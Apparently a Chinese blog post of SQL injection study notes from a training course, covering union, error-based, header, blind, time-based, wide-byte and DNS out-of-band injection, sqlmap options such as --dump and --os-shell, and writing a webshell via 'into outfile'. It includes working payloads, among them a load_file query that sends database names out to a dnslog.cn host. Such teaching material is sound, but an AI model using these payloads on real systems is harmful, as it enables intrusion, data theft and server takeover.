7.sql注入.md

news/2025/2/3 22:03:05/文章来源:https://www.cnblogs.com/poirot/p/18697792

注入的本质:

sql:把用户输入的数据当做sql代码执行

XSS:用户输入的数据当做前端代码执行XXE:用户输入的数据当做XML代码执行

代码执行:用户输入的数据当做后端代码执行

命令执行:用户输入的数据当做系统命令执行

sql关键点:

1.用户能够控制输入----存在注入点

2.原本程序要执行的代码,拼接了用户输入的数据然后进行执行----能利用漏洞并拿到数据

联合查询

检测漏洞的原理

select * from news where id=2-1 得到1

select * from news where id=‘2-1’ 得到2-1

“与‘包住的东西不会被代码执行---------------------说明上述存在漏洞,因为进行了运算

注意:所有的GET传参都要进行url编码,而+在url编码里面代表着空格,所以当我们要使用+的时候,需要进行编码之后再使用

检测漏洞的方法

1、运算符检测漏洞

如上

2、and 1=1 and 1=2

select * from news where id=1 and 1=1

select * from news where id=1 and 1=2

如果两次页面返回的值不一样,那么就说明代码运行了==>1=1为真, 那么 and 前后均为真,就返回不一样的值;此时当1=2时为假,那么页面就不返回值。

注意:可能存在传参强转---->(1 and 1=1) 1s2w2f8f = 1 asd415631 = 0

即只解析第一位,那么此时就不存在注入点

但是此类方法太老了,容易被waf拦截,所以要找该字符的替代品 = ----------> like in

可以变形为 and -1=-1

3、sleep检测

有的时候输入1=1与1=2时返回的结果都一样,这个时候我们就可以试试看 and sleep(10),然后如果页面一直在转圈圈返回的慢,那么就说明存在注入的

4、1'

字符型注入

如何利用漏洞--库名、表名、字段名、数据(联合注入)

select 字段名 from 表名 where 条件

1.union -------为了可以执行我们想执行的语句,要找输出点

联合查询:将两条sql语句的结果一齐输出(要求:相同字段数)

找输出点 : id=1 union select 1,2

2.order by -------知道字段数

排序:目的是给数据库里面的每一列排序,当id=1 order by 3报错的时候就说明此时无数据可排序,即字段数为2

情况一:

id:一般是正整数,所以可以使用浮点数1.585或者 and 1=2 来让 id=5 union select 1,2 中的id=5不输出,进而输出1或2的值

数据库可以选择性输出 eg:id=1.568 union select 1,2 ,此时如果页面输出了2,那么说明该数据库的输出点是在2这个位置

情况二:

但是还有一种情况是在登录框里面注入,此时就要数据存在即为true才能输出结果,此时就使用:a' or 1=1 order by 1 #

在此之后,我们就可以使用a' or 1=1 union select 1,2,3 #

但是此时存在了一个问题,union注入是一个拼接注入,会优先输出union前面的值,此时就需要让前面的值不输出,即:a' union select 1,2,3# ,因为id=a这条数据并不存在

3.database()

显示当前数据库的库名

4.information_schema ------系统自带库获得表名、字段名

系统自带数据库,一般不会改名,里面的tables表 储存着数据库和表的关联

table_name 为该数据库中表名的统称

table_schema 为该数据库中库名的统称

colum_name 为该数据库中字段名的统称

information_schema.columns 这个表里面存着数据库、表名、字段名三者之间的关系

select table_name from tables ===>会输出数据库里所有表的名称

select table_name from tables where table_schema="ttt "

库.表.字段 ====选择X库里的X表中的X字段

select table_name from information_schema.tables where table_schema=database() //可以查当前数据库里的表名

完整的即:id=1.26 union select 1,table_name from information_schema.tables where table_schema=database()

解释:使用了union注入,输出点不在2处,解释为从系统自带数据库中的tables表里输出table_name这个字段的内容,条件是table_schema等于当前数据库的库名 ===>即整条语句的目的是输出当前数据库的表名,但是此时只取到了单个表的表名

5.limit

核心:limit n,m ===>从第n+1条数据开始取m条数据

group_concat() ---->多行数据全部输出,通过,间隔(但是网站输出点有长度限制,所以会输出不全,尽量不要用这个函数)

union select 1,colum_name from information_schema.colums where table_name="admin" 但是存在一个问题,不同的数据库会存在相同的表名,所以上述写法错误,要写清楚库名,才能查询字段

union select 1,colum_name from information_schema.colums where table_name='admin' and table_schema=database() limit 0,1 1,1 2,1 3,1 4,1 ---->依次来试试看有哪些字段

发现有id username password 总共三个字段

然后 就可以看各个字段中的数据啦

union select 1,password from admin 此时就可以看到当前数据库中的admin表中字段名为password 的值

6.注释

-- qwe 目的是让数据库执行我的语句,把数据库自带的闭合符号 ' 给注释了,如果是要闭合前面的',那么只需要再来一个‘就行

一般情况:' " ') ")

注意!只有在mysql数据库中#才是注释

堆叠注入:

用一个分号可以将原有的语句执行结束,然后再执行第二条,即可以同时执行两条函数

;结尾原有原句,然后后面另起一行

注意:select 字段名 from 表名 where 条件

所以不能存在id=1 union select 1,colum_name from information_schema.colums where table_name='admin' and table_schema=database(),3

而是 id=1 union select 1,colum_name,3 from information_schema.colums where table_name='admin' and table_schema=database()

sqlmap跑双引号不太ok

sqlmap的使用

--dbs 获取库名

-D 指定库名 -D maoshe --tables

--tables 获取表

下述三步可以跳过

-T 指定表名

--columns 跑字段

-C 指定字段

--dump 获得数据(高危命令,正常情况下无授权不用)

--random-agent 选择随机ua头 user-gaents

--delay=1 每次探测延时s(防止被ban)

--count 查看数据量,因为不能脱库,以此来看有多少数据

--level 1-5 测试等级(最低1)等级越高检测越详细,一般使用3

--risk sqlmap语句的复杂度,越高越复杂

组合拳 --level 3 --risk 2

--is--dba 查看当前用户的权限,如果dba是true,那么就可以尝试直接拿webshell

fig:

fig:

dba是数据库管理员

--os-shell 直接获取目标的cmd权限,能用这个命令的一定是dba,但是发过来就不一定了

--flush-session 删除缓存,以防sqlmap偷懒

--proxy "http:127.0.0.1:1080" 使用本地1080端口

POST注入

是sql注入,只是传参方式为post

核心:有框(登录框、注册框)

sqlmap跑POST注入:

1、--form

2、-r 抓数据包

建议使用这个,因为有的注入点要登录之后才有,需要返回的cookie

此时要先用burp抓包,然后把抓到的包保存下来1.txt,然后在注入点的内容后面加一个*fig:

然后在包的当前目录开一个cmd,之后py sqlmap.py -r 1.txt

报错注入

路径不存在,尝试报错

updatexml(目标xml内容a,xml文档路径b,更新的内容c) 到b这个路径下的文件里将a的内容更新为c

updatecml(1,'~',1) 此时就会报错'~'

如果把中间替换为updatecml(1,database(),1) 那么就可能把database的值返回来,但是前提是要报错,此时就会用到一个mysql的字符串拼接函数 concat('a','b');

Head注入

核心:head里面会存储上传访问的ip是xxx、上个访问的页面是xxx、之前访问的设备是xxx,此时就证明记录了,即证明使用了sql语句,所以就可能存在sql注入

fig:

即在抓包的head部分进行注入

如何抓127.0.0.1的包?

1、抓内网ip地址的包

2、设置本机域名(本机host) 127.0.0.1 a.com

即修改host文件,可以百度如何修改fig:

没有登录的都是游客,head所记录的都是用户,所以head注入最有可能出现在用户成功登录的数据包

注意!如果使用sqlmap的话,要使用-r 抓数据包 同POST注入

建议使用这个,因为有的注入点要登录之后才有,需要返回的cookie

此时要先用burp抓包,然后把抓到的包保存下来1.txt,然后在注入点的内容后面加一个*fig:

然后在包的当前目录开一个cmd,之后py sqlmap.py -r 1.txt

注入点:User-Agent

查询数据库:

即concat('~',database()),此时就满足报错,且又能输出数据

fig:

上述语句执行顺序,先执行最中心括号的内容database(),然后把~与数据库名拼接到一起,最后执行外面的updatexml语句

注意,报错注入是基于head注入

我们在登录这一步需要输入正确的账号密码,然后改变User-Agent为注入的语句,之后再执行登录

fig:

注意!有的时候and能出,有的时候or能出

查询表名:

由于此时下面加黑部分为子查询,所以要加一个()

$uagent=' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database())),1),'1') -- qwe

子查询:
  • 要先运行,所以就要加一个();
  • 其次,需要使用and 与 or来连接
  • 其返回可以是字符串,也可以是表,所以我们就要使用limit 0,1 来限制输出为字符串

改为:$uagent=' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'1') -- qwe

如果此时数据不返回,那么就把and改为or试试看

查询字段名:

$uagent=' and updatexml(1,concat('~',(select colum_name from information_schema.colums where table_schema=database() and table_name='flag_head' limit 0,1)),1),'1') -- qwe

此时可以更换为1,1来看不同字段是什么

获取字段:

$uagent=' and updatexml(1,concat('~',(select flag_h1 from flag_head limit 0,1)),1),'1') -- qwe

注入点:Referer

Refere里会存储跳转到此页面的上一个网站的网址,用于防御从莫名其妙接口来的访问

注入点:X-Forwarded-For

代理服务器:

1、透明代理:被访问的人知道你是谁

署名是X-Forwarded-For

2、高匿代理:被访问的人不知道你是谁,用于用户之间,eg:梯子

代理服务器:就是为了访问更快,上面会缓存网站数据,当被访问时先看数据有没有,没有就找原服务器要,有了就直接给数据

自动获取代理池,并与sqlmap联动:https://bbs.zkaq.cn/t/4705.html

原理:爬虫爬取代理的地址和端口,然后本地轮回探测代理是否可用

盲注

应用场景

1、有些网站对于所传的参数不敏感,无论传什么数据,回显的结果都一样----时间盲注;

2、页面有回显,但是不会显示具体内容,只会显示语句是否正常执行-布尔类型(判断正确与否)----布尔盲注

使用时机:当联合查询没有输出点时

不需要猜数据库、表、字段,只需要and、or

eg:and database()="maoshe" 来自己猜、爆破

这就需要切割方法,单个单个的来跑

布尔盲注

函数:

length()函数:返回字符串的长度

substr()函数:截取字符串 substr(字符串内容,从哪里切割,切多长)

ascii()函数:返回字符的ascii码(将字符变为数字)------二分法

sleep()函数:将程序挂起一段时间n 秒

if(expr1,expr2,expr3)函数:判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句

方法:

判断数据库名长度:

?id=1 and length(database())>5 =5

猜库名:a的ascii码是97

?id=1 and ascii(substr(database(),1,1))>97

存在手注过于麻烦的情况,所以使用

1、sqlmap 偏爱盲注

直接-u就行,都不用加参数

2、burpsuite

抓包-- 然后fig:

字典选中numberfig:

也可以32-127,因为32以前的特殊字符不能作为数据库名

fig:

从上往下就是数据库名

猜表名:

?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97

延时注入

函数:

sleep()函数:将程序挂起一段时间n 秒

if(条件,成立执行,不成立执行)函数:判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句

if(ascii(substr(database(),1,1))=97,sleep(10),6) -- qwe

sql注入技巧:

1、并不是只有单引号能够逃逸出单引号-----转义符号:

fig:

我们可以看到,加入转义符号之后,蓝色部分已经自动闭合了,此时的321部分我们不做处理也能正常执行代码 ,即

fig:

此时执行的代码是:

fig:

2、注释符号绕过:

不让用# -- qwe /*

此时想办法闭合了前后的单引号就行

fig:

或者直接写一个单引号或者单引号a

fig:

括号的

fig:

一般数据库都有user表,所以这里直接盲猜user凑数

上述操作的目的:让我们的输入跳出单双引号,因为在单双引号里面的都是字符串

宽字节注入

魔术引号:

可以防御sql注入,但是在php5.4以下的直接修改配置文件后强制执行,高版本的只能通过特定的函数使用 addslashes()

magic_quotes_gpc():如果是get、post、cookie(作用域)传过来的数据,那么就在‘ “ \等字符前面加上反斜线转义符

绕过方法:

1、找一个不需要闭合的注入点(原有sql语句没有单双引号闭合,比如数字类型)

2、找一个不受作用域影响的注入点 eg: $_SERVER

3、宽字节注入

原理:

多字符编码---->多个字符组在一起成为一个汉字

GBK === 双字节编码

此时就会存在,不同的编码得到的结果不一样,eg:乱码

单字节编码:ascii码表上能找到的字符

反斜杠:单字节

===>两个单字节在一起会变成双字节

eg:select*from news where id=' 1' '

此时会被防御为:select*from news where id=' 1\' '

如果此时我们在 '前面加上一个 单字节的话,那么系统就会以为这可能是汉字,所以就?\连同一起解析,此时就绕过了魔术引号,单引号就成功逃逸出来了

即:select*from news where id=' 1?\' '

此时 数据库的编码为非utf-8 非英文编码都可以适用宽字节绕过,和前端、后端都没有关系

前端页面gbk,数据库也是gbk的概率很大

方法:

数据库使用GBK编码时就可能存在宽字节注入:传一个字符将反斜杠吃掉成为汉字

判断该数据库是什么编码:尝试看看,行就是gbk

常见:%df\ 可以凑在一起组成汉字

十六进制转字符串网站:https://www.bejson.com/convert/ox2str

已知\转十六制之后为5c,此时%df%5c是汉字 运,也可以不一定要df,可以是9c---->组合之后是%9c%5c 浅

?id=1%9c' order by 4 -- qwe (此时碰到 '后会变成\',接着%9c与\又结合,那么' 就逃逸出来啦 )

?id=1.1%9c' union select 1,2,database() -- qwe (使union前面的部分报错)

?id=1.1%9c' union select 1,2,table_name from information_schema.tables where table_schema='widechar' -- qwe

此时出现了问题,数据库名这里报错了,那么可以使用下述方法:

1、替代法: 使用database()

?id=1.1%9c' union select 1,2,table_name from information_schema.tables where table_schema=database() -- qwe

此时得知表名为user

2、修改法:

此时我想要知道字段名,那么就进行套娃

?id=1.1%9c' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database()) -- qwe

3、16进制法

mysql支持16进制输入,可以用来替代字符串

user的16进制为75736572

?id=1.1%9c' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 -- qwe

查询字段

?id=1.1%9c' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 2,1 -- qwe

使用sqlmap

1、使用抓包来跑比较好

2、直接使用时需要手动帮忙闭合----->加上%df 或者 %9c

py sqlmap.py --level 3 --risk 2 -u http://fsfefaefev?id=1.1%9c

如果是POST传参:

1、直接改hex

由于%df是url编码后的内容,而POST一般不会url编码,那么就需要抓包,然后看header头中对应的hex编码的内容,然后把 对应的hex改为df

原因是burp可以修改传参里面的数据包的十六进制的值,hex代表十六进制

fig:

fig:

2、传参汉字-----宽字节绕过

由于当前页面是utf-8编码,对于聂 字,

utf-8 ===>%E8%81%82 是 聂

GBK ===> %e8%81%82%5c 是 两个汉字

fig:

注意:有的汉字不可以,比如"一"

然后发现是盲注,用sqlmap来跑

fig:

fig:

fig:

DNS注入

注入没办法获得回显---------->盲注:布尔、时间-------->太繁琐----------->DNS注入可以让盲注变成报错注入

DNS ==》域名解析 ==》把域名转化为ip地址

SQL注入==》把用户输入的数据当作代码执行

DNS&注入 ====》 LOAD_FILE()读取文件的函数 ====》核心是转义符\

但是该函数的使用需要修改数据库配置文件,只有这样数据库才能读取文件

fig:

windows SMB服务:共享文件,只要在同一内网,那么就可以共享文件;因为是请求共享文件,所以会发起数据包。在发起共享文件之后会产生下述路径fig:

UNC路径:该路径就是下面这部分

fig:

load_file():支持UNC路径

eg: 请求a.zkaq.cn/abc 的话,那么就会去访问a.zkaq.cn的服务器的某个端口

此时就一定会调用到DNS来解析域名,此时DNS日志里面就会记录“x时xxx请求我查xxx的域名”

此时:如果我们搭建一个DNS服务器来承接域名解析,那么所有的访问域名都会被我们的日志记录下列

注意:

1、正常的域名是由运营商来解析,但是可以通过修改域名的设置方法,强行指定某个IP去解析域名==>NS记录

2、固定的域名由固定的DNS服务器来解析,而固定的域名即需要买下一个域名+服务器+搭建服务

也可以直接使用:http://dnslog.cn

fig:

点击GET之后会自动给我们一个域名

此时我们ping一下

fig:

然后再刷新,就可以看到网页上记录的DNS日志(该IP是运营商的IP)

当我们让数据库执行

select load_file('//lqhrtw.dnslog.cn/abc');

如果执行了(数据库过了一会才返回值),就说明数据库访问了该地址

如果我们再执行

select load_file(concat('//',database(),'.lqhrtw.dnslog.cn/abc'));

先拼接了//,然后接着执行查询数据库,然后接上后续的域名====>注意,DNSlog会记录包含lqhrtw.dnslog.cn找个主体的域名

此时我们执行之后,那么该数据库的库名就会被拼接在dns请求日志里面返回来,这个时候就实现了dns注入

select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lqhrtw.dnslog.cn/abc'));

此时如果是盲注,那么此刻我们就做到了转变为报错注入,这种方法叫做obb:数据外带

弱点:

1、目标得有网

2、Windows自带SMB服务,但是linux不自带

技巧:

一、黑白名单:

只要我们对白名单里面的后缀文件进行传参,那么waf就不会拦截

比如52.2.2.1/index.php/1.txt?id=1 and 1=1

但是理论上是会报404,此时由于web容器:apache的特性,他会对/index.php/1.txt 这样的请求进行处理,首先会看1.txt 发现没有后会自动解析index.php,然后返回的就不是404,而是正常的页面====>请求的页面不存在,他会自动请求前一个

二、如果一访问一个网页就被拦截的话,那么就清除一下Cookie

三、

load_file() 读取文件

写文件:

  • into outfile() eg: select 1 into outfile '1.txt';
  • into dumpfile()

一句话木马:

eval() 把字符串当作代码来执行

===>(建议请求的参数为数字,这样不会被单双引号影响)

select '' into outfile '../../../../../../../../../p_h_p/www/123.php';

此时我就访问123.php,然后在url上面传参:123.php?8=echo whoami;

利用联合查询写入一句话木马

fig:

不能使用order by时判断字段的方法:3个字段的时候延时,而两个字段的时候没有延时 ,那么就说明是3个字段

fig:

即:

http://59.26.25.6:8014/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/878408.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025-1-22-28-进度汇报

一边玩一边写确实慢,更不用说一天就写一点点,不过大致框架出来了,登录功能就是我21号的,下边呢我们主要是主界面还有一些功能 这是登录之后首页的界面,只有展示,其他毛都没有,未来希望我能把它做的更有功能性一点这是评估页面,我有三个角色,用户,也就是需要被评估的,…

来自aakennes的新年祝福(欢乐赛)

来自aakennes的新年祝福(欢乐赛) A. 字符串会上树 直接模拟。 (因为没关 freopen 吃了 10 发罚时) B. 挖宝石 直接上 bitset 即可,对于不是 0 的限制,多记一个 $ k $ 即可,最后看 $ k $ 不是看 $ 0 $ 。 C. 电梯系统 考虑每多一层,该层就要向前每层连一条边,而有的边可以…

2策略模式

设计模式之策略模式策略 + 工厂 package strategy; public abstract class Strategy {public abstract double getResult(); }package strategy;public class StrategyA extends Strategy{@Overridepublic double getResult() {System.out.println("策略A实现了");re…

CF996

A link如果两只小动物只往中间跳的话,那么中间间隔奇数个就是另一个小动物赢(一定会出现两个小动物挨着而该爱丽丝跳了),否则就是爱丽丝赢(一定会出现两个小动物挨着而改另一个动物跳了)。 那么我们可以发现,两个小动物只会往中间跳,因为往边上跳跳出去再跳回来一定是偶…

八. Spring Boot2 整合连接 Redis(超详细剖析)

八. Spring Boot2 整合连接 Redis(超详细剖析) @目录八. Spring Boot2 整合连接 Redis(超详细剖析)2. 注意事项和细节3. 最后:在 springboot 中 , 整合 redis 可以通过 RedisTemplate 完成对 redis 的操作, 包括设置数据/获取数据 比如添加和读取数据 具体整合实现:创建…

4G【切换】常用公式

本文来自博客园,作者:{IceSparks},转载请注明原文链接:https://www.cnblogs.com/IceSparks/p/18697740

4G与5G常用频点

本文来自博客园,作者:{IceSparks},转载请注明原文链接:https://www.cnblogs.com/IceSparks/p/18697735

4G与5G网络架构

本文来自博客园,作者:{IceSparks},转载请注明原文链接:https://www.cnblogs.com/IceSparks/p/18697738

【前端】常用VsCode插件

根据插件的功能和用途,可以将这些 VSCode 插件分为以下几类,并进行排序: 1. 代码编辑与格式化Prettier - Code formatter自动格式化代码,支持多种语言。Prettier ESLint集成 Prettier 和 ESLint,统一代码风格。ESLint提供 JavaScript 和 TypeScript 的代码质量检查。Style…

4G与5G切换对比

本文来自博客园,作者:{IceSparks},转载请注明原文链接:https://www.cnblogs.com/IceSparks/p/18697730

越区覆盖解决思路

本文来自博客园,作者:{IceSparks},转载请注明原文链接:https://www.cnblogs.com/IceSparks/p/18697722

重叠覆盖解决思路

本文来自博客园,作者:{IceSparks},转载请注明原文链接:https://www.cnblogs.com/IceSparks/p/18697724